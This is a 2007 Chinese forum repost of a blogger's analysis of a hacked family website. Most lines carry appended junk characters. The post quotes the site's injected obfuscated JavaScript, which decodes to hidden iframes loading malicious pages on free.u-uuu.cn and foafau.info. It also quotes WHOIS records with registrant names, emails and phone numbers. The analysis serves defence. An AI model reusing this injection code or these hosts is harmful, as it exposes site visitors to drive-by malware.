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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, `33h4G  
/V&$SRdL*  
http://www.areway.cn/?p=175 -R6z/P (}  
?*}V>h 8m)  
Z(Q?epyT  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: p?Yovckm  
          &Hh%pY"  
<script>t=’60,105,102,114,97,109,101, yDy3;*lE  
32,115,114,99,61,104,116,116,112,58,47,47, 27,WP-qie  
102,114,101,101,46,117,45,117,117,117,46,99, U R@'J@V#:  
110,47,101,114,114,111,114,46,104,116,109, 2!&:V]  
32,119,105,100,116,104,61,49,48,48,32,104, 9O}YtX2  
101,105,103,104,116,61,48,62,60,47,105,102, sVh!5fby&  
114,97,109,101,62′; gI\J sN  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> QD"V=}'?  
                                                                                                  Q@]#fW\Y  
<script>t=’60,105,102,114,97,109,101,32,115, M%9PVePOe  
114,99,61,104,116,116,112,58,47,47,102,114, k}jH  
101,101,46,117,45,117,117,117,46,99,110,47, ~!)_3o  
101,114,114,111,114,46,104,116,109,32,119, :2?i9F0_  
105,100,116,104,61,49,48,48,32,104,101,105, /6L\`\g  
103,104,116,61,48,62,60,47,105,102,114,97, ;O{AYF?,N  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); .bnoK  
document.write(t);</script> CXA)Zl5#  
                                                                                                  fyQAQZT  
<html xmlns=” =>ph\  
http://www.w3.org/1999/xhtml -Frx{3  
“> G]q6Ika  
<head> ~>#=$#V   
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> :Q&8DC#]  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> J0|/g2%0  
<title>首页 - 爱生活家庭网 q/%f2U%4:  
                                                                                                                                                    6S`eN\s  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 9^Wj<  
转换字符串后的大概内容是(谁点击后果自付): CE*@CkC0z  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… M^g"U`  
                                                                                                                                  %&z9^}Vd[  
查询玉米u-uuu.cn的详细信息: ,ci tzh  
Domain Name: u-uuu.cn JrCm >0g  
ROID: 20070901s10001s64972306-cn Fz>J7(Y.j  
Domain Status: ok dc%+f  
Registrant Organization: 王雷 $!KV]]  
Registrant Name: 王雷 T4\,b  
Administrative Email: czlovexs@126.com trgj]|?M  
Sponsoring Registrar: 北京万网志成科技有限公司 DSET!F;PG  
Name Server:ns.yovole.com Kw-E%7gh4c  
Name Server:ns1.yovole.com ^5"s3Qn  
Registration Date: 2007-09-01 17:54 W@pVP4F0xM  
Expiration Date: 2008-09-01 17:54 2/>AmVM  
最后PING了一下地址 都没有什么…. ,v)@&1Wh:  
                                                                                                .sjM$#V=  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. z@<`]  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 0v',+-  
<script language=”javascript” src=” &XgB-}^:  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ,{:5Z:<|  
> Fwho.R-.  
这个玉米应该有可能是木马作者的: -Z6ot{%  
foafau.info的详细信息: \Sg&Qv`  
Access to INFO WHOIS information is provided to assist persons in  '+'  
determining the contents of a domain name registration record in the u49/LtB\  
Afilias registry database. The data in this record is provided by hc~--[1c:  
Afilias Limited for informational purposes only, and Afilias does not Hh54&YKZ  
guarantee its accuracy.  This service is intended only for query-based m 0un=>{  
access. You agree that you will use this data only for lawful purposes 6!b96bV  
and that, under no circumstances will you use this data to: (a) allow, 6,s@>8n  
enable, or otherwise support the transmission by e-mail, telephone, or \zgRzO'N  
facsimile of mass unsolicited, commercial advertising or solicitations gpE5ua&  
to entities other than the data recipient’s own existing customers; or ot-!_w<  
(b) enable high volume, automated, electronic processes that send $IB@|n  
queries or data to the systems of Registry Operator, a Registrar, or "R):B~8|H{  
Afilias except as reasonably necessary to register domain names or O!/J2SfuDH  
modify existing registrations. All rights reserved. Afilias reserves bO^%#<7  
the right to modify these terms at any time. By submitting this query, =_L"x~0I-  
you agree to abide by this policy. 1Qf5H!5vx  
Domain ID:D22418703-LRMS Mgf80r=  
Domain Name:FOAFAU.INFO &)\0mpLK9  
Created On:20-Nov-2007 16:05:42 UTC JJ7-$h'0q  
Last Updated On:20-Nov-2007 16:05:44 UTC QD / | zi  
Expiration Date:20-Nov-2008 16:05:42 UTC ("H:T?4Qs  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) !;fkc0&!  
Status:CLIENT DELETE PROHIBITED P1z6 sG G  
Status:CLIENT RENEW PROHIBITED !|Vjv}UO  
Status:CLIENT TRANSFER PROHIBITED u%h]k ,(E  
Status:CLIENT UPDATE PROHIBITED |h6)p;`gc  
Status:TRANSFER PROHIBITED qj/ 66ak  
Registrant ID:GODA-040110615 Ct"h.rD]  
Registrant Name:liu hong L>pP3[~DV  
Registrant Organization: 6>bKlYl&9  
Registrant Street1:beijing 0g`WRe  
Registrant Street2: 1VJE+3  
Registrant Street3: ,n&Dg58K  
Registrant City:beijing G 7zfyw}W  
Registrant State/Province: C"hc.A&4  
Registrant Postal Code:100000 gKS^-X{x  
Registrant Country:CN tTQ>pg1{qh  
Registrant Phone:+86.860108888777 T[ky7\  
Registrant Phone Ext.: /mqEc9sq,  
Registrant FAX: SU H^]4>  
Registrant FAX Ext.: S}*#$naK  
Registrant Email:bbbshiji@163.com CEI#x~Oq  
Admin ID:GODA-240110615 MO/l(wO  
Admin Name:liu hong I#$u(2.H  
Admin Organization: uQpV1o5iA  
Admin Street1:beijing ?uh7m 2l0D  
Admin Street2: V&\ZqgDF  
Admin Street3: k]I<%  
Admin City:beijing t {x&|%u  
Admin State/Province: l^"gpO${K  
Admin Postal Code:100000 T[ mTA>d  
Admin Country:CN sowkxw.^Q  
Admin Phone:+86.860108888777 PJkEBdM.  
Admin Phone Ext.: o7hjx hmC  
Admin FAX: ))306*X\  
Admin FAX Ext.: o.y4&bC14;  
Admin Email:bbbshiji@163.com NhpGa@[D  
Billing ID:GODA-340110615 n;2W=N?y  
Billing Name:liu hong &w LI:x5  
Billing Organization: s_E iA _  
Billing Street1:beijing {^$rmwN  
Billing Street2: eQzSWn[  
Billing Street3: JX>_imo  
Billing City:beijing _gw~A {O  
Billing State/Province: _(oJ8h(  
Billing Postal Code:100000 kdg Q -UN$  
Billing Country:CN 3#5sj >  
Billing Phone:+86.860108888777 lC^q}Bh:  
Billing Phone Ext.: VI37  
Billing FAX: $Fr$9 jq&  
Billing FAX Ext.: Eepy%-\  
Billing Email:bbbshiji@163.com -C.eXR{s  
Tech ID:GODA-140110615 O:k@'&  
Tech Name:liu hong ]6 }|X#_  
Tech Organization: F<G.!Y8!&  
Tech Street1:beijing z[CCgs&vqe  
Tech Street2: `[CXxp  
Tech Street3: C2DNyMu  
Tech City:beijing H-0deJ[>  
Tech State/Province: ]TD]    
Tech Postal Code:100000 vW YN?"d  
Tech Country:CN hM+nA::w  
Tech Phone:+86.860108888777 s )_sLt8?  
Tech Phone Ext.: 9SMM%(3, r  
Tech FAX: u3c e\  
Tech FAX Ext.: Etn]e;z4  
Tech Email:bbbshiji@163.com !K6:W1  
Name Server:NS27.DOMAINCONTROL.COM W99Fb+$I  
Name Server:NS28.DOMAINCONTROL.COM E~{-RZNK  
Name Server: /:C"n|P7Z  
Name Server: j3A+:KDn3n  
Name Server: /I".n]  
Name Server: Neey myW  
Name Server: KHdj#3<AR  
Name Server: %~$4[,=  
Name Server: [=..#y!U  
Name Server: 2u#{K9g  
Name Server: +O9l@X$l=  
Name Server: X @r5^A[9  
Name Server: PvKe|In(  
                                                                                                          rpy`Wz/[  
接着下载每个文件里面的代码: SE%i@}  
一步一步看.. Gvj@?62  
>TK`s@jdSV  
[o> /2  
pE15[fJ`  
hLJO\=0rJz  
yh lZdF  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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灌水

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
级别: 店掌柜
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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